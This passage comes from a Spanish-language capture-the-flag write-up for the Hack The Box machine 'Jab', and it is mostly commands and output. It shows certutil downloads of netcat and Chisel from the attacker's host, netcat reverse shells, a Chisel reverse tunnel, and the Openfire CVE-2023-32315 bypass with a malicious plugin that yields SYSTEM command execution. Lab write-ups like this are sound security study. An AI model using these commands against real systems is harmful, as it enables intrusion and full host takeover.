❯ python3 /usr/share/doc/python3-impacket/examples/dcomexec.py -object 'MMC20' jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe C:\Users\svc_openfire\Downloads\nc.exe' -silentcommand

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Empiezo un listener en el puerto 443 con netcat, y luego corro el binario de netcat previamente transferido para enviarme una reverse shell:

❯ python3 /usr/share/doc/python3-impacket/examples/dcomexec.py -object 'MMC20' jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'C:\Windows\System32\cmd.exe /c C:\Users\svc_openfire\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe' -silentcommand

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Y obtengo una shell como el usuario svc_openfire:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.4] 49546
Microsoft Windows [Version 10.0.17763.5458]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\windows\system32>whoami
whoami

jab\svc_openfire

donde podemos leer la flag de usuario en el Desktop de svc_openfire.


NT Authority/System - Administrator Link to heading

Reviso los procesos corriendo en la máquina:

C:\windows\system32>powershell.exe -command ps

powershell.exe -command ps

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    111       9    14576       9408       1.78    208   0 chis
    108       9    14972      10588       4.78   4932   0 chis
    105       9    14500       9220       1.91   5028   0 chis
     90       5     2436       4116       0.06    572   0 cmd
<SNIP>
    103       7     1328       5092              2768   0 openfire-service
   1231     103   640616     583748              2956   0 openfire-service
<SNIP>

donde puedo ver el servicio openfire-service. Esto llama mi atención ya que tiene un nombre similar al usuario que hemos comprometido (svc_openfire). Buscando por what is openfire windows resulta en:

Información
Openfire is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Openfire is incredibly easy to setup and administer, but offers rock-solid security and performance.

Básicamente, Openfire es una herramienta que administra el servicio XMPP (Jabber) que se encuentra expuesto.

Si buscamos por openfire running port windows encontramos esta página, la cual dice que la consola web de administración de Openfire corre en el puerto 9090. Reviso si este puerto se encuentra abierto internamente en la máquina víctima:

C:\windows\system32>netstat -ano | findstr "9090"

netstat -ano | findstr "9090"
  TCP    10.10.11.4:9090        0.0.0.0:0              LISTENING       5028
  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       2956

y está abierto.

Noto, además, que el Id es el mismo para ambos outputs (cuando chequeamos previamente los procesos corriendo y ahora viendo los puertos abiertos), el cual es 2956, de manera que debería de ser el servicio Openfire corriendo.

Para acceder a este puerto interno necesitamos performar un Remote Port Forwarding para ganar acceso al puerto 9090 de la máquina víctima. Para ello subo un binario de Chisel para Windows (el cual puede ser descargado desde su repositorio de Github). Para esto obtengo otra reverse shell en otra terminal ya que ésta la usaré para crear el tunel entre la máquina víctima y mi máquina de atacante. De manera similar a como pasamos el binario de netcat, pasamos el binario de Chisel:

C:\windows\system32>certutil -urlcache -split -f http://10.10.16.2:8080/chisel_1.9.1_windows_amd64 C:\Users\svc_openfire\Downloads\chisel.exe

certutil -urlcache -split -f http://10.10.16.2:8080/chisel_1.9.1_windows_amd64 C:\Users\svc_openfire\Downloads\chisel.exe
****  Online  ****
  000000  ...
  896c00
CertUtil: -URLCache command completed successfully.

Ahora en mi máquina de atacante corro:

❯ chisel server -p 9090 --reverse

y en la máquina víctima corro:

C:\windows\system32>C:\Users\svc_openfire\Downloads\chisel.exe client 10.10.16.2:4444 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091

C:\Users\svc_openfire\Downloads\chisel.exe client 10.10.16.2:4444 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
2024/05/22 20:32:43 client: Connecting to ws://10.10.16.2:4444
2024/05/22 20:32:46 client: Connected (Latency 149.2555ms)

Ahora podemos visitar http://localhost:9090 en un browser de internet, en mi caso Firefox, el cual ahora nos muestra un panel de login:

Jab 13

donde claramente puedo ver una versión: 4.7.5

Buscando por openfire 4.7.5 exploit nos lleva a este repositorio explicando la vulnerabilidad catalogada como CVE-2023-32315. Usando las credenciales del usuario svc_openfire en este panel funcionan. Ya dentro del panel podemos ver:

Jab 14

Encuentro este repositorio de Github el cual provee un PoC. El script en sí no funciona muy bien, ya que si lo corremos tenemos:

❯ python3 CVE-2023-32315.py -t http://127.0.0.1:9090


 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝

Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!

[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node015mg9if63aa1a1oscnpw2rtc5s9.node0 + csrf: BDkzS3983tDJVLi
User added successfully: url: http://127.0.0.1:9090 username: duqu7y password: 1ulp8a

pero esto no es correcto del todo. El usuario y contraseña creadas no funcionan (de manera que asumo que no ha funcionado del todo).

Luego de leer el repositorio, noto que la parte importante del exploit ese encuentra en el archivo .jar. Si bien el exploit falló en crear un usuario, esto no importa ya que tenemos previamente un usuario con credenciales válidas. Para subir este archivo .jar es que vamos a la pestaña de Plugins, y subimos el archivo/plugin que venía incluído en el repositorio (el archivo .jar). Luego de subirlo tenemos algo como:

Jab 15

donde puedo ver la descripción pass 123 tal cual explica el repositorio usado.

Luego vamos a Server-> Server Settings -> Management Tool, ponemos la contraseña 123 y deberíamos tener acceso a un nuevo panel. En la esquina superior derecha, cambiamos la opción Program home page a system command. Si ejecutamos el comando whoami, podemos ver que somos el usuario nt authority/system:

Jab 16

Advertencia
El plugin malicioso subido es constantemente removido por algún proceso corriendo por detrás en el sistema, de manera que debemos realizar estos pasos de manera rápida y/o resubir el archivo .jar malicioso.

Reusando el binario de netcat que hemos subido previamente (y luego de empezar otro listner con netcat en el puerto 443), corremos dentro de Openfire el comando:

C:\Windows\System32\cmd.exe /c C:\Users\svc_openfire\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe

y obtengo una shell como nt authority/system:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.4] 64006
Microsoft Windows [Version 10.0.17763.5458]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\Openfire\bin>whoami

whoami
nt authority\system

Donde podemos obtener la flag final en el Desktop del usuario Administrator.

~Happy Hacking